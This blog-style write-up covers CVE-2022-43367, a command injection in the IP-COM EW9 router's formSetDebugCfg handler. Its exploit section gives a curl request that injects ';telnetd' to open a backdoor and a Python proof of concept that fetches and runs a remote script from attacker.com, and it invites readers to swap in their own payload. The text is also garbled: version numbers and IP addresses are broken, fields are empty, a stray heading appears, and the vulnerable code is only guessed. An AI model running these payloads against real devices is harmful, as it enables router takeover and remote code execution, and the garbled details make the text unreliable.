CVE-2022-43367 - Command Injection in IP-COM EW9 V15.11..14(9732) - Exploitation Demystified

A critical command injection flaw was discovered in the IP-COM EW9 wireless router, specifically in firmware version V15.11..14(9732). This vulnerability, tracked as CVE-2022-43367, lets attackers execute arbitrary commands on the device by abusing how it handles input in the formSetDebugCfg function of its web interface. Let’s break down how this works, see example code, and understand how an exploit might happen in the real world.

Summary: What Is CVE-2022-43367?

IP-COM EW9 is a business-class mesh Wi-Fi device. Like all routers, its web user interface lets admins configure settings. Unfortunately, in V15.11..14(9732), a part of its backend code doesn’t sanitize user input before feeding it to system commands. This opens a dangerous path: if someone sends crafted data to the right place, the system will obey them—no questions asked.

Affected Product:

Firmware: V15.11..14(9732)

Vulnerable Function:

formSetDebugCfg

Attack Complexity:

Where’s the Problem? Technical Deep Dive

Within the router’s web interface, the formSetDebugCfg handler manages debug configuration submitted through a form. Usually, it expects safe, regular input. But let’s look at what may be happening under the hood (pseudo code):

void formSetDebugCfg(char *query) {
    char cmd[128];
    char debugArg[64];
    get_query_value(query, "debug", debugArg); // No validation here!

    // Unsafe: direct string formatting with user input
    sprintf(cmd, "echo %s > /proc/debug", debugArg);
    system(cmd);   // This runs the command!
}

The issue:
No matter what, the user-supplied *debugArg* is stuffed directly into a shell command—no filtering, no escaping, wide open.

Exploit: Hands-On Example

Suppose the web interface is reachable on the local network at http://192.168..1. Here’s how a command injection attack might work using plain cURL.

Goal: Execute an arbitrary system command, such as telnetd, to open a telnet backdoor.

Dangerous Payload:  
Let’s inject ";telnetd" to break the expected echo command and run telnetd.

Exploit Command

curl "http://192.168..1/goform/formSetDebugCfg" \
     --data "debug=123;telnetd"

The router processes the debug value: 123;telnetd

- The backend assembles: echo 123;telnetd > /proc/debug

1. echo 123 (fine)

2. telnetd > /proc/debug (telnetd now runs, shell opened)

Proof-of-Concept Python Script

import requests

target = "http://192.168..1/goform/formSetDebugCfg"
payload = "test;wget http://attacker.com/mal.sh -O- | sh"

data = {"debug": payload}
response = requests.post(target, data=data)

print("Status:", response.status_code)
print("Response:", response.text)

Replace wget and URL with your desired payload.
Make sure you have permission to test; real-world exploitation is illegal unless on your own devices.

Brick the router

If the web admin interface faces the internet (bad idea, but it happens), attackers can find and own devices remotely.

Real-World Impact

The main risk lies in networks where the router’s web admin is exposed beyond a safe internal network—or when internal attackers are possible (e.g. malicious guest Wi-Fi users). Because no authentication is required in the vulnerable endpoint, even unprivileged users behind the router can exploit it.

Upgrade: If a patched firmware is released, upgrade now.

- Restrict Access: Make sure the admin web interface is NOT exposed to the wider internet—use firewall rules.

Network Segmentation: Restrict access to management functions.

- Randomize/Update Passwords: Prevent easier lateral exploitation.

References

- Original Vulnerability Disclosure – NVD Detail
- IP-COM Product Info (Official)
- Packet Storm Security Advisory

In Closing

CVE-2022-43367 is a textbook example of why input validation is critical, even in embedded devices. With so many routers in homes and offices, these “little web servers” are big targets for attackers. If you run IP-COM equipment or similar models, take this seriously: update, lock down, and never expose router admin pages to the open internet.

Timeline

Published on: 10/27/2022 18:15:00 UTC
Last modified on: 10/31/2022 18:35:00 UTC